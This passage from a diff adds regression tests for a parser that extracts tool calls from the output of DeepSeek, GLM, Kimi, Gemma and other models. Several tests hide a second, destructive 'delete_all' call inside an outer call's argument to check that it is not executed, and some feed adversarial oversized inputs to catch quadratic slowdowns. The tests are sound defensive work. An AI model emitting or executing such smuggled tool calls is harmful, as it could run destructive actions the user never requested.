+    assert put_body["appearance"]["customization"]["uiFont"] == "Georgia"
+
+    stored_appearance = store[pers.PERSONALIZATION_SETTING_KEY]["appearance"]
+    assert stored_appearance["theme"] == "dark"
+    assert stored_appearance["palette"] == "classic"
+    assert stored_appearance["customization"]["uiFont"] == "Georgia"
+
+    body = client.get("/api/settings/personalization").json()
+    assert body["paletteSaved"] is True
+    assert body["customizationSaved"] is True
+    assert body["greetingSlothSaved"] is True
diff --git a/studio/backend/tests/test_pr5624_regressions.py b/studio/backend/tests/test_pr5624_regressions.py
new file mode 100644
index 0000000000..4f5471675c
--- /dev/null
+++ b/studio/backend/tests/test_pr5624_regressions.py
@@ -0,0 +1,1011 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""
+Regression tests for PR #5624 (DeepSeek R1/V3.x, GLM 4.x, Kimi K2 tool
+parsing). Each test pins a specific edge case surfaced during the
+review:
+
+* GLM string-vs-JSON-encoded value coercion (template emits strings
+  raw and non-strings JSON-encoded; the parser must not coerce a
+  bare string ``"42"`` into ``42``).
+* GLM ``<arg_value>`` containing a literal ``<`` (e.g. ``if x < 10``).
+* Kimi K2 dotted name ``functions.my.tool:0`` keeps its full name
+  (``my.tool``) after stripping only the ``functions.`` prefix and
+  ``:idx`` suffix, while the full id is preserved on the call.
+* Kimi K2 bare-counter id (no ``functions.`` prefix, no ``:IDX``) is
+  dropped rather than surfaced under a numeric name.
+* DeepSeek V3.1 truncated mid-stream produces an empty result without
+  raising.
+* ``routes.inference._strip_tool_xml`` strips the DeepSeek envelope and
+  the Kimi section markers added by this PR.
+"""
+
+import json
+
+import pytest
+
+from core.inference.tool_call_parser import (
+    parse_tool_calls_from_text,
+    strip_tool_markup,
+)
+
+
+# GLM string-vs-JSON-encoded value coercion (finding B in plan)
+
+
+@pytest.mark.parametrize(
+    "raw_val, expected_python",
+    [
+        # Bare numeric / bool / null shapes are still treated as JSON
+        # literals (ambiguous with strings; the template doesn't tell us).
+        ("42", 42),
+        ("true", True),
+        ("false", False),
+        ("null", None),
+        ("3.14", 3.14),
+        ("-7", -7),
+        ("1e3", 1000.0),
+    ],
+)
+def test_glm_numeric_and_bool_literals_are_json_decoded(raw_val, expected_python):
+    text = (
+        "<tool_call>n\n"
+        f"<arg_key>v</arg_key>\n"
+        f"<arg_value>{raw_val}</arg_value>\n"
+        "</tool_call>"
+    )
+    calls = parse_tool_calls_from_text(text)
+    assert len(calls) == 1
+    args = json.loads(calls[0]["function"]["arguments"])
+    assert args["v"] == expected_python
+
+
+@pytest.mark.parametrize(
+    "raw_val",
+    [
+        "hello world",  # plain prose
+        "True",  # Python literal, NOT JSON -- no longer eaten by ast.literal_eval
+        "None",  # Python literal, NOT JSON -- no longer eaten by ast.literal_eval
+        "if x < 10: pass",  # code with literal < (well, < not in arg_value here)
+        "{not valid json",  # looks like an object but is malformed -- must stay raw
+        "[oops",  # looks like an array but is malformed
+    ],
+)
+def test_glm_non_json_shapes_stay_raw(raw_val):
+    text = (
+        "<tool_call>n\n"
+        f"<arg_key>v</arg_key>\n"
+        f"<arg_value>{raw_val}</arg_value>\n"
+        "</tool_call>"
+    )
+    calls = parse_tool_calls_from_text(text)
+    assert len(calls) == 1
+    args = json.loads(calls[0]["function"]["arguments"])
+    assert args["v"] == raw_val
+    assert isinstance(args["v"], str)
+
+
+def test_glm_json_object_arg_decoded():
+    text = (
+        "<tool_call>nest\n"
+        "<arg_key>opts</arg_key>\n"
+        '<arg_value>{"limit": 10}</arg_value>\n'
+        "</tool_call>"
+    )
+    calls = parse_tool_calls_from_text(text)
+    args = json.loads(calls[0]["function"]["arguments"])
+    assert args["opts"] == {"limit": 10}
+
+
+def test_glm_json_array_arg_decoded():
+    text = (
+        "<tool_call>nest\n"
+        "<arg_key>ids</arg_key>\n"
+        "<arg_value>[1, 2, 3]</arg_value>\n"
+        "</tool_call>"
+    )
+    calls = parse_tool_calls_from_text(text)
+    args = json.loads(calls[0]["function"]["arguments"])
+    assert args["ids"] == [1, 2, 3]
+
+
+def test_glm_arg_value_with_literal_less_than():
+    text = (
+        "<tool_call>run\n"
+        "<arg_key>code</arg_key>\n"
+        "<arg_value>if x < 10: pass</arg_value>\n"
+        "</tool_call>"
+    )
+    calls = parse_tool_calls_from_text(text)
+    assert len(calls) == 1
+    args = json.loads(calls[0]["function"]["arguments"])
+    assert args["code"] == "if x < 10: pass"
+
+
+# GLM 4.7 no-newline emission shape
+
+
+def test_glm_4_7_no_newlines_between_name_and_arg_key():
+    """GLM 4.7 strips the ``\\n`` after the name (``{{- ... -}}`` in the
+    template) so ``<arg_key>`` follows directly. Parser must accept both."""
+    text = (
+        "<tool_call>get_weather"
+        "<arg_key>city</arg_key><arg_value>London</arg_value>"
+        "<arg_key>units</arg_key><arg_value>celsius</arg_value>"
+        "</tool_call>"
+    )
+    calls = parse_tool_calls_from_text(text)
+    assert len(calls) == 1
+    assert calls[0]["function"]["name"] == "get_weather"
+    args = json.loads(calls[0]["function"]["arguments"])
+    assert args == {"city": "London", "units": "celsius"}
+
+
+def test_glm_4_7_no_newlines_multi_call():
+    """Back-to-back GLM 4.7 calls without intervening newlines."""
+    text = (
+        "<tool_call>a<arg_key>x</arg_key><arg_value>1</arg_value></tool_call>"
+        "<tool_call>b<arg_key>y</arg_key><arg_value>2</arg_value></tool_call>"
+    )
+    calls = parse_tool_calls_from_text(text)
+    assert len(calls) == 2
+    assert calls[0]["function"]["name"] == "a"
+    assert calls[1]["function"]["name"] == "b"
+
+
+def test_glm_4_7_does_not_break_qwen_path():
+    """Qwen ``<tool_call>{json}`` still dispatches to Qwen; GLM's
+    first-char ``[^\\n<{]`` excludes ``{``."""
+    text = '<tool_call>{"name":"web_search","arguments":{"q":"x"}}</tool_call>'
+    calls = parse_tool_calls_from_text(text)
+    assert len(calls) == 1
+    assert calls[0]["function"]["name"] == "web_search"
+
+
+# Kimi K2 dotted name + bare counter (finding C in plan)
+
+
+def test_kimi_dotted_namespace_keeps_full_dotted_name():
+    # A dotted Kimi id keeps its FULL name; only the ``functions.`` prefix and ``:idx`` suffix drop (vLLM parity).
+    text = (
+        "<|tool_calls_section_begin|>"
+        "<|tool_call_begin|>functions.my.tool:0"
+        "<|tool_call_argument_begin|>{}"
+        "<|tool_call_end|>"
+        "<|tool_calls_section_end|>"
+    )
+    calls = parse_tool_calls_from_text(text)
+    assert len(calls) == 1
+    assert calls[0]["function"]["name"] == "my.tool"
+    assert calls[0]["id"] == "functions.my.tool:0"
+
+
+def test_kimi_two_sections_in_one_stream_both_parse():
+    """Outer loop walks every ``<|tool_calls_section_begin|>...end|>``
+    so vLLM / SGLang parity holds even on multi-section streams."""
+    text = (
+        "<|tool_calls_section_begin|>"
+        "<|tool_call_begin|>functions.a:0"
+        '<|tool_call_argument_begin|>{"x":1}'
+        "<|tool_call_end|>"
+        "<|tool_calls_section_end|>"
+        " some prose between sections "
+        "<|tool_calls_section_begin|>"
+        "<|tool_call_begin|>functions.b:0"
+        '<|tool_call_argument_begin|>{"y":2}'
+        "<|tool_call_end|>"
+        "<|tool_calls_section_end|>"
+    )
+    calls = parse_tool_calls_from_text(text)
+    assert len(calls) == 2
+    assert calls[0]["function"]["name"] == "a"
+    assert calls[1]["function"]["name"] == "b"
+    assert calls[0]["id"] == "functions.a:0"
+    assert calls[1]["id"] == "functions.b:0"
+
+
+def test_kimi_bare_counter_id_is_dropped():
+    """Bare-digit id (``3``) is dropped (matches vLLM); SGLang infers
+    name from schema, which we don't have at parse time."""
+    text = (
+        "<|tool_calls_section_begin|>"
+        "<|tool_call_begin|>3"
+        "<|tool_call_argument_begin|>{}"
+        "<|tool_call_end|>"
+        "<|tool_calls_section_end|>"
+    )
+    calls = parse_tool_calls_from_text(text)
+    assert calls == []
+
+
+# DeepSeek truncated mid-stream
+
+
+def test_deepseek_v3_1_huge_truncated_body_is_linear():
+    """Adversarial input: DeepSeek envelope with no JSON brace and a
+    50k-char body. A regex-based ``[^\\n<]+?`` name capture is O(N^2)
+    here; the parser uses ``str.find`` on the sep marker so it stays
+    linear. Budget 1s to flag any future regression."""
+    import time as _time
+
+    text = "<｜tool▁calls▁begin｜><｜tool▁call▁begin｜>fn<｜tool▁sep｜>" + "x" * 50_000
+    start = _time.time()
+    calls = parse_tool_calls_from_text(text)
+    elapsed = _time.time() - start
+    assert elapsed < 1.0, f"V3 path is non-linear: {elapsed:.2f}s"
+    assert calls == []
+
+
+def test_deepseek_r1_huge_fenceless_body_is_linear():
+    """R1 detection used a greedy ``([^\\n]+)\\n```json`` regex that is O(N^2) on a
+    fence-less body of repeated ``function<sep>`` tokens. The parser now scans with
+    ``str.find``; budget 1s to flag any regression."""
+    import time as _time
+
+    text = "<｜tool▁calls▁begin｜>" + "function<｜tool▁sep｜>a" * 40_000
+    start = _time.time()
+    calls = parse_tool_calls_from_text(text)
+    elapsed = _time.time() - start
+    assert elapsed < 1.0, f"R1 path is non-linear: {elapsed:.2f}s"
+    assert calls == []
+
+
+def test_glm_unclosed_body_many_arg_keys_is_linear():
+    """An unclosed GLM ``<tool_call>`` body runs to EOF; a lazy-group ``finditer``
+    over many bare ``<arg_key>`` tokens was O(N^2). The parser now walks pairs with
+    ``str.find``; budget 1s."""
+    import time as _time
+
+    text = "<tool_call>foo\n" + "<arg_key>k" * 40_000
+    start = _time.time()
+    parse_tool_calls_from_text(text)
+    elapsed = _time.time() - start
+    assert elapsed < 1.0, f"GLM path is non-linear: {elapsed:.2f}s"
+
+
+def test_deepseek_r1_fenced_json_parses():
+    """R1 wraps args in a ```json fence after ``function<sep>NAME``."""
+    import json as _json
+
+    text = (
+        "<｜tool▁calls▁begin｜><｜tool▁call▁begin｜>function<｜tool▁sep｜>get_weather\n"
+        "```json\n"
+        '{"city":"NYC","unit":"c"}\n'
+        "```<｜tool▁call▁end｜><｜tool▁calls▁end｜>"
+    )
+    calls = parse_tool_calls_from_text(text)
+    assert len(calls) == 1
+    assert calls[0]["function"]["name"] == "get_weather"
+    assert _json.loads(calls[0]["function"]["arguments"]) == {"city": "NYC", "unit": "c"}
+
+
+def test_deepseek_v3_1_truncated_arguments_drops_call_without_crash():
+    text = (
+        "<｜tool▁calls▁begin｜>"
+        "<｜tool▁call▁begin｜>get_time"
+        "<｜tool▁sep｜>"
+        '{"city":"Tokyo"'  # no closing brace, no end markers
+    )
+    calls = parse_tool_calls_from_text(text)
+    assert calls == []
+
+
+def test_deepseek_v3_1_truncated_after_end_marker_still_yields_call():
+    text = (
+        "<｜tool▁calls▁begin｜>" "<｜tool▁call▁begin｜>get_time" "<｜tool▁sep｜>" '{"city":"Tokyo"}'
+        # neither <｜tool▁call▁end｜> nor <｜tool▁calls▁end｜>
+    )
+    calls = parse_tool_calls_from_text(text)
+    assert len(calls) == 1
+    assert calls[0]["function"]["name"] == "get_time"
+    assert json.loads(calls[0]["function"]["arguments"]) == {"city": "Tokyo"}
+
+
+# Routes-layer strip across the three new families
+
+
+def test_routes_layer_strip_removes_deepseek_envelope():
+    from routes.inference import _strip_tool_xml as _routes_strip
+
+    text = (
+        "before "
+        "<｜tool▁calls▁begin｜>"
+        "<｜tool▁call▁begin｜>get_time"
+        '<｜tool▁sep｜>{"city":"Tokyo"}'
+        "<｜tool▁call▁end｜>"
+        "<｜tool▁calls▁end｜>"
+        " after"
+    )
+    stripped = _routes_strip(text)
+    assert stripped == "before  after"
+
+
+def test_routes_layer_strip_removes_kimi_section():
+    from routes.inference import _strip_tool_xml as _routes_strip
+
+    text = (
+        "before "
+        "<|tool_calls_section_begin|>"
+        "<|tool_call_begin|>functions.web_search:0"
+        '<|tool_call_argument_begin|>{"q":"x"}'
+        "<|tool_call_end|>"
+        "<|tool_calls_section_end|>"
+        " after"
+    )
+    stripped = _routes_strip(text)
+    assert stripped == "before  after"
+
+
+def test_routes_layer_strip_removes_glm_block():
+    """``<tool_call>.*?</tool_call>`` covers GLM via the Qwen pattern."""
+    from routes.inference import _strip_tool_xml as _routes_strip
+
+    text = (
+        "before "
+        "<tool_call>web_search\n"
+        "<arg_key>q</arg_key>\n<arg_value>x</arg_value>\n"
+        "</tool_call>"
+        " after"
+    )
+    stripped = _routes_strip(text)
+    assert stripped == "before  after"
+
+
+# strip_tool_markup (parser-level finalise path) over the new families
+
+
+def test_strip_tool_markup_handles_deepseek_envelope():
+    text = (
+        "before "
+        "<｜tool▁calls▁begin｜>"
+        "<｜tool▁call▁begin｜>get_time"
+        '<｜tool▁sep｜>{"city":"Tokyo"}'
+        "<｜tool▁call▁end｜>"
+        "<｜tool▁calls▁end｜>"
+        " after"
+    )
+    stripped = strip_tool_markup(text, final = True)
+    assert "before" in stripped and "after" in stripped
+    assert "｜tool▁" not in stripped
+    assert "get_time" not in stripped and "Tokyo" not in stripped
+
+
+def test_strip_tool_markup_handles_kimi_section():
+    text = (
+        "before "
+        "<|tool_calls_section_begin|>"
+        "<|tool_call_begin|>functions.web_search:0"
+        '<|tool_call_argument_begin|>{"q":"x"}'
+        "<|tool_call_end|>"
+        "<|tool_calls_section_end|>"
+        " after"
+    )
+    stripped = strip_tool_markup(text, final = True)
+    assert "before" in stripped and "after" in stripped
+    assert "tool_calls_section_begin" not in stripped
+
+
+# Round-2 review findings: GLM quoted-string / unclosed-arg, DeepSeek
+# strict terminator, nested wrapper-less Gemma strip
+
+
+def test_glm_quoted_string_arg_keeps_its_quotes():
+    # A GLM string value emitted verbatim that itself begins with a quote.
+    text = (
+        "<tool_call>web_search\n"
+        "<arg_key>query</arg_key>\n"
+        '<arg_value>"exact phrase"</arg_value>\n'
+        "</tool_call>"
+    )
+    calls = parse_tool_calls_from_text(text)
+    args = json.loads(calls[0]["function"]["arguments"])
+    assert args["query"] == '"exact phrase"'
+
+
+def test_glm_unclosed_arg_value_is_rejected_in_strict_mode():
+    # Closing </tool_call> present but a value never closes: strict mode must reject
+    # the whole call rather than execute it with the argument silently dropped.
+    text = (
+        "<tool_call>web_search\n"
+        "<arg_key>query</arg_key>\n"
+        "<arg_value>Tokyo weather"  # no </arg_value>
+        "</tool_call>"
+    )
+    assert parse_tool_calls_from_text(text, allow_incomplete = False) == []
+    # With Auto-Heal the partial value is kept, not dropped to a no-arg call.
+    healed = parse_tool_calls_from_text(text, allow_incomplete = True)
+    assert len(healed) == 1
+    args = json.loads(healed[0]["function"]["arguments"])
+    assert "Tokyo weather" in args.get("query", "")
+
+
+def test_deepseek_v3_missing_call_terminator_rejected_in_strict_mode():
+    # Envelope closes but the per-call <｜tool▁call▁end｜> is absent. Strict mode
+    # must reject (it is truncated/merged); Auto-Heal still parses it.
+    text = (
+        "<｜tool▁calls▁begin｜>"
+        "<｜tool▁call▁begin｜>get_time"
+        '<｜tool▁sep｜>{"city":"Tokyo"}'
+        "<｜tool▁calls▁end｜>"  # envelope end only, no per-call end
+    )
+    assert parse_tool_calls_from_text(text, allow_incomplete = False) == []
+    healed = parse_tool_calls_from_text(text, allow_incomplete = True)
+    assert len(healed) == 1
+    assert healed[0]["function"]["name"] == "get_time"
+
+
+def test_deepseek_v3_with_call_terminator_parses_in_strict_mode():
+    # Sanity: a well-formed V3 call (with the per-call end marker) still parses
+    # under strict mode after the terminator check.
+    text = (
+        "<｜tool▁calls▁begin｜>"
+        "<｜tool▁call▁begin｜>get_time"
+        '<｜tool▁sep｜>{"city":"Tokyo"}'
+        "<｜tool▁call▁end｜>"
+        "<｜tool▁calls▁end｜>"
+    )
+    calls = parse_tool_calls_from_text(text, allow_incomplete = False)
+    assert len(calls) == 1
+    assert calls[0]["function"]["name"] == "get_time"
+
+
+def test_strip_tool_markup_removes_nested_wrapperless_gemma_call():
+    # Wrapper-less Gemma call with a NESTED object arg: the balanced helper must strip the whole call, not leave a trailing ``}``.
+    text = "answer: call:f{loc:{city:NYC},n:3} done"
+    stripped = strip_tool_markup(text, final = True)
+    assert "call:f" not in stripped
+    assert "}" not in stripped
+    assert "answer:" in stripped and "done" in stripped
+
+
+# Pass-3 review findings: bare-Kimi streaming (non-final) strip symmetry
+# and the wrapper-less Gemma route-display strip
+
+
+def test_strip_tool_markup_non_final_removes_bare_kimi_call():
+    # A bare ``<|tool_call_begin|>...<|tool_call_end|>`` (no section wrapper): the CLOSED (final=False) strip must remove it too.
+    text = (
+        "before "
+        "<|tool_call_begin|>functions.web_search:0"
+        '<|tool_call_argument_begin|>{"q":"x"}'
+        "<|tool_call_end|>"
+        " after"
+    )
+    stripped = strip_tool_markup(text, final = False)
+    assert "tool_call_begin" not in stripped
+    assert "tool_call_end" not in stripped
+    assert "before" in stripped and "after" in stripped
+
+
+def test_routes_layer_strip_removes_wrapperless_gemma_call():
+    # Gemma 4 (skip_special_tokens) emits a wrapper-less ``call:NAME{..}`` with no XML markers.
+    from routes.inference import _strip_tool_xml as _routes_strip
+
+    text = 'before call:web_search{query:"weather in Sydney"} after'
+    stripped = _routes_strip(text)
+    assert "call:web_search" not in stripped
+    assert "before" in stripped and "after" in stripped
+
+
+def test_deepseek_envelope_end_inside_arg_string_is_not_a_truncation():
+    # A DeepSeek V3.1 call whose argument string contains the literal envelope-end token must not be dropped.
+    content = (
+        "<｜tool▁calls▁begin｜><｜tool▁call▁begin｜>web_search<｜tool▁sep｜>"
+        '{"query":"what does <｜tool▁calls▁end｜> mean"}'
+        "<｜tool▁call▁end｜><｜tool▁calls▁end｜>"
+    )
+    calls = parse_tool_calls_from_text(content)
+    assert len(calls) == 1, calls
+    assert calls[0]["function"]["name"] == "web_search"
+    assert json.loads(calls[0]["function"]["arguments"]) == {
+        "query": "what does <｜tool▁calls▁end｜> mean"
+    }
+
+
+def test_glm_value_containing_literal_arg_value_close_is_preserved():
+    # A GLM string argument may legitimately contain </arg_value>.
+    content = (
+        "<tool_call>run<arg_key>code</arg_key>"
+        '<arg_value>print("</arg_value>")</arg_value></tool_call>'
+    )
+    calls = parse_tool_calls_from_text(content)
+    assert len(calls) == 1, calls
+    assert json.loads(calls[0]["function"]["arguments"]) == {"code": 'print("</arg_value>")'}
+
+
+def test_attribute_form_function_with_embedded_marker_runs_outer_call():
+    # <function name="outer"> is a supported envelope; a DeepSeek/Kimi marker inside one of its
+    # parameter values is data, not a second call.
+    content = (
+        '<function name="respond"><parameter name="answer">'
+        "The Kimi format is <|tool_call_begin|>functions.delete_all:0"
+        "<|tool_call_argument_begin|>{}<|tool_call_end|>"
+        "</parameter></function>"
+    )
+    calls = parse_tool_calls_from_text(content)
+    assert [c["function"]["name"] for c in calls] == ["respond"], calls
+
+
+def test_wrapperless_gemma_call_gated_by_enabled_tools():
+    # Once skip_special_tokens removes the <|tool_call> wrapper, call:NAME{...} is
+    # indistinguishable from prose documenting the Gemma syntax.
+    prose = "Here is an example of the syntax: call:foo{x:1}. That shows how tools work."
+    assert parse_tool_calls_from_text(prose, enabled_tool_names = {"web_search"}) == []
+    # The display strip is gated the same way, so the example survives in the answer.
+    assert "call:foo{x:1}" in strip_tool_markup(
+        prose, final = True, enabled_tool_names = {"web_search"}
+    )
+    # An enabled name is still a real call (parsed, and stripped from display).
+    real = "Answer. call:web_search{query:hi}"
+    calls = parse_tool_calls_from_text(real, enabled_tool_names = {"web_search"})
+    assert [c["function"]["name"] for c in calls] == ["web_search"], calls
+    assert "call:web_search" not in strip_tool_markup(
+        real, final = True, enabled_tool_names = {"web_search"}
+    )
+
+
+def test_kimi_section_end_inside_arg_string_is_not_a_truncation():
+    # In a multi-call Kimi section, a later call whose argument holds the literal section-end token must not truncate the section.
+    content = (
+        "<|tool_calls_section_begin|>"
+        "<|tool_call_begin|>functions.search:0<|tool_call_argument_begin|>"
+        '{"q":"cats"}<|tool_call_end|>'
+        "<|tool_call_begin|>functions.explain:1<|tool_call_argument_begin|>"
+        '{"text":"the token <|tool_calls_section_end|> means end"}<|tool_call_end|>'
+        "<|tool_calls_section_end|>"
+    )
+    calls = parse_tool_calls_from_text(content)
+    assert [c["function"]["name"] for c in calls] == ["search", "explain"], calls
+    assert json.loads(calls[1]["function"]["arguments"]) == {
+        "text": "the token <|tool_calls_section_end|> means end"
+    }
+
+
+def test_closed_envelope_before_deepseek_block_owns_turn():
+    # Document order is the contract: a CLOSED <tool_call>/<function> call that precedes a
+    # DeepSeek/Kimi block owns the turn, even when prose frames it as an example.
+    deepseek = (
+        "<｜tool▁calls▁begin｜><｜tool▁call▁begin｜>function<｜tool▁sep｜>search_web\n"
+        "```json\n"
+        '{"query":"weather in Paris"}\n'
+        "```"
+        "<｜tool▁call▁end｜><｜tool▁calls▁end｜>"
+    )
+    prose = (
+        'A Qwen call looks like <tool_call>{"name":"example_tool","arguments":{}}</tool_call>.\n'
+    )
+    calls = parse_tool_calls_from_text(prose + deepseek)
+    assert [c["function"]["name"] for c in calls] == ["example_tool"], calls
+
+    kimi = (
+        "<|tool_calls_section_begin|><|tool_call_begin|>functions.lookup:0"
+        '<|tool_call_argument_begin|>{"id":7}<|tool_call_end|><|tool_calls_section_end|>'
+    )
+    calls_k = parse_tool_calls_from_text("Example: <function=demo>{}</function> and now:\n" + kimi)
+    assert [c["function"]["name"] for c in calls_k] == ["demo"], calls_k
+
+
+def test_marker_inside_closed_outer_envelope_still_runs_outer_call():
+    # The guard must fire when the marker sits INSIDE a closed outer <function>/<tool_call> envelope's arguments: the OUTER call wins.
+    outer = (
+        "<function=lookup><parameter=q>what does <｜tool▁calls▁begin｜> mean</parameter></function>"
+    )
+    calls = parse_tool_calls_from_text(outer)
+    # The outer envelope is the real call; the embedded DeepSeek marker must not
+    # hijack the parse into a spurious tool.
+    assert [c["function"]["name"] for c in calls] == ["lookup"], calls
+    assert json.loads(calls[0]["function"]["arguments"]) == {
+        "q": "what does <｜tool▁calls▁begin｜> mean"
+    }
+
+
+def test_truncated_outer_envelope_with_embedded_marker_heals_outer_call():
+    # A TRUNCATED outer <function> call embedding a DeepSeek/Kimi marker in its argument still Auto-Heals as the outer call.
+    trunc = '<function=python><parameter=code>x = "<｜tool▁calls▁begin｜>sample"</parameter>'
+    calls = parse_tool_calls_from_text(trunc)
+    assert [c["function"]["name"] for c in calls] == ["python"], calls
+
+
+def test_python_tag_call_with_embedded_marker_runs_outer_call():
+    # ``<|python_tag|>`` is Llama-3's tool-call envelope, so a DeepSeek/Kimi example quoted
+    # in its argument is data: the OUTER python_tag call (``web_search``) must run, not the
+    # embedded marker (``delete_all``).
+    kimi = (
+        "<|tool_calls_section_begin|><|tool_call_begin|>functions.delete_all:0"
+        "<|tool_call_argument_begin|>{}<|tool_call_end|><|tool_calls_section_end|>"
+    )
+    deepseek = (
+        "<｜tool▁calls▁begin｜><｜tool▁call▁begin｜>delete_all<｜tool▁sep｜>{}"
+        "<｜tool▁call▁end｜><｜tool▁calls▁end｜>"
+    )
+    for embedded in (kimi, deepseek):
+        builtin = '<|python_tag|>web_search.call(query="explain ' + embedded + '")'
+        calls = parse_tool_calls_from_text(builtin, enabled_tool_names = {"web_search"})
+        assert [c["function"]["name"] for c in calls] == ["web_search"], calls
+        custom = (
+            '<|python_tag|>{"name":"web_search","parameters":'
+            '{"query":"explain ' + embedded + '"}}'
+        )
+        calls = parse_tool_calls_from_text(custom, enabled_tool_names = {"web_search"})
+        assert [c["function"]["name"] for c in calls] == ["web_search"], calls
+
+    # A bare ``<|python_tag|>`` prose mention (no call shape) must NOT be treated as an
+    # envelope: a real Kimi call after it still parses (the call-shaped lookahead guard).
+    prose = "The token <|python_tag|> is used. " + kimi
+    calls = parse_tool_calls_from_text(prose)
+    assert [c["function"]["name"] for c in calls] == ["delete_all"], calls
+
+
+def test_gemma_wrapperless_quoted_value_with_comma_not_split():
+    # A wrapper-less Gemma call whose quoted value contains ``, key:``.
+    text = 'call:web_search{query:"weather, location: Boston", limit:3}'
+    calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"})
+    assert [c["function"]["name"] for c in calls] == ["web_search"], calls
+    assert json.loads(calls[0]["function"]["arguments"]) == {
+        "query": "weather, location: Boston",
+        "limit": 3,
+    }
+
+
+def test_literal_close_tag_in_xml_arg_before_marker_runs_outer_call():
+    # A literal ``</function>`` inside an outer XML argument (before a marker) is not the envelope close: the span reaches the REAL final close.
+    text = (
+        '<function=python><parameter=code>x = "</function> '
+        "<|tool_call_begin|>functions.delete_all:0<|tool_call_argument_begin|>{}"
+        '<|tool_call_end|>"</parameter></function>'
+    )
+    calls = parse_tool_calls_from_text(text)
+    assert [c["function"]["name"] for c in calls] == ["python"], calls
+
+
+def test_literal_tool_call_close_in_qwen_json_before_marker_runs_outer_call():
+    # A Qwen/Hermes <tool_call> whose JSON argument holds a literal </tool_call> then a marker must run the OUTER call.
+    text = (
+        '<tool_call>{"name":"search","arguments":{"query":"explain </tool_call> then '
+        "<|tool_call_begin|>functions.delete_all:0<|tool_call_argument_begin|>{}"
+        '<|tool_call_end|>"}}</tool_call>'
+    )
+    calls = parse_tool_calls_from_text(text)
+    assert [c["function"]["name"] for c in calls] == ["search"], calls
+    # Back-to-back Qwen calls still parse independently (real-close span must keep the
+    # negative-lookahead that separates adjacent calls).
+    bb = (
+        '<tool_call>{"name":"a","arguments":{}}</tool_call>'
+        '<tool_call>{"name":"b","arguments":{}}</tool_call>'
+    )
+    assert [c["function"]["name"] for c in parse_tool_calls_from_text(bb)] == ["a", "b"]
+
+
+def test_r1_heal_keeps_later_call_when_first_omits_close_fence():
+    # DeepSeek R1 multi-call where the FIRST call has balanced JSON but omits its close
+    # fence/terminator, followed by a well-formed second call.
+    text = (
+        "<｜tool▁calls▁begin｜>"
+        "<｜tool▁call▁begin｜>function<｜tool▁sep｜>get_weather\n```json\n"
+        '{"city":"SF"}\n```'  # no <｜tool▁call▁end｜>
+        "<｜tool▁call▁begin｜>function<｜tool▁sep｜>get_time\n```json\n"
+        '{"tz":"UTC"}\n```<｜tool▁call▁end｜><｜tool▁calls▁end｜>'
+    )
+    heal = [c["function"]["name"] for c in parse_tool_calls_from_text(text)]
+    assert "get_time" in heal, heal
+    # Strict keeps the later well-formed call; heal must be a superset.
+    strict = [
+        c["function"]["name"] for c in parse_tool_calls_from_text(text, allow_incomplete = False)
+    ]
+    assert set(strict) <= set(heal), (strict, heal)
+
+
+def test_wrapperless_gemma_nested_call_in_arg_is_not_a_second_call():
+    # A wrapper-less Gemma call whose quoted argument mentions another enabled tool must not execute that nested name.
+    text = 'call:web_search{query:"explain call:delete_all{target:files}"}'
+    calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search", "delete_all"})
+    assert [c["function"]["name"] for c in calls] == ["web_search"], calls
+    assert json.loads(calls[0]["function"]["arguments"]) == {
+        "query": "explain call:delete_all{target:files}"
+    }
+    # Two genuinely separate calls still both parse.
+    two = "call:web_search{query:hi}call:get_time{tz:UTC}"
+    assert [
+        c["function"]["name"]
+        for c in parse_tool_calls_from_text(two, enabled_tool_names = {"web_search", "get_time"})
+    ] == ["web_search", "get_time"]
+
+
+def test_leading_bare_json_call_owns_quoted_gemma_snippet():
+    # Document order: a leading Llama-3.2 bare-JSON call with trailing prose owns the turn.
+    text = (
+        '{"name":"lookup","parameters":{"note":"use call:web_search{query:cats} for this"}}\n'
+        "That is the call I would make."
+    )
+    calls = parse_tool_calls_from_text(text, enabled_tool_names = {"lookup", "web_search"})
+    assert [c["function"]["name"] for c in calls] == ["lookup"], calls
+    assert json.loads(calls[0]["function"]["arguments"]) == {
+        "note": "use call:web_search{query:cats} for this"
+    }
+
+    # Same with the ``;`` inter-call separator: both real calls parse, the
+    # quoted snippet still does not.
+    two = (
+        '{"name":"lookup","parameters":{"note":"see call:web_search{query:cats}"}};'
+        '{"name":"lookup","parameters":{"q":"second"}}'
+    )
+    calls_two = parse_tool_calls_from_text(two, enabled_tool_names = {"lookup", "web_search"})
+    assert [c["function"]["name"] for c in calls_two] == ["lookup", "lookup"], calls_two
+
+
+def test_leading_gemma_call_still_wins_over_trailing_json_example():
+    # Reverse control: a real leading Gemma call followed by a bare-JSON example keeps the Gemma call (bare JSON matches only a LEADING object).
+    text = 'call:web_search{query:cats} Example JSON: {"name":"demo_tool","parameters":{}}'
+    calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search", "demo_tool"})
+    assert [c["function"]["name"] for c in calls] == ["web_search"], calls
+
+    # And prose-only enabled Gemma syntax (no leading JSON) still promotes: the
+    # markerless by-design behaviour is unchanged.
+    prose = "You can run call:web_search{query:cats} to search."
+    calls_p = parse_tool_calls_from_text(prose, enabled_tool_names = {"web_search"})
+    assert [c["function"]["name"] for c in calls_p] == ["web_search"], calls_p
+
+
+def test_leading_gemma_call_owns_quoted_mistral_trigger():
+    # A leading wrapper-less Gemma call whose argument quotes a Mistral trigger must win: the [TOOL_CALLS] literal is data.
+    text = 'call:web_search{query:"docs say [TOOL_CALLS]delete_all{}"}'
+    calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search", "delete_all"})
+    assert [c["function"]["name"] for c in calls] == ["web_search"], calls
+    assert json.loads(calls[0]["function"]["arguments"]) == {
+        "query": "docs say [TOOL_CALLS]delete_all{}"
+    }
+
+    # Reverse control: a real leading Mistral call still parses normally.
+    real = '[TOOL_CALLS]delete_all{"x":1}'
+    calls_m = parse_tool_calls_from_text(real, enabled_tool_names = {"web_search", "delete_all"})
+    assert [c["function"]["name"] for c in calls_m] == ["delete_all"], calls_m
+
+    # A DISABLED Gemma example quoting the trigger is dropped as prose and a
+    # real call after it still parses (drop-the-span recursion).
+    mixed = (
+        'Example: call:demo{note:"see [TOOL_CALLS]delete_all{}"}\n'
+        '[TOOL_CALLS]web_search{"q":"real"}'
+    )
+    calls_d = parse_tool_calls_from_text(mixed, enabled_tool_names = {"web_search", "delete_all"})
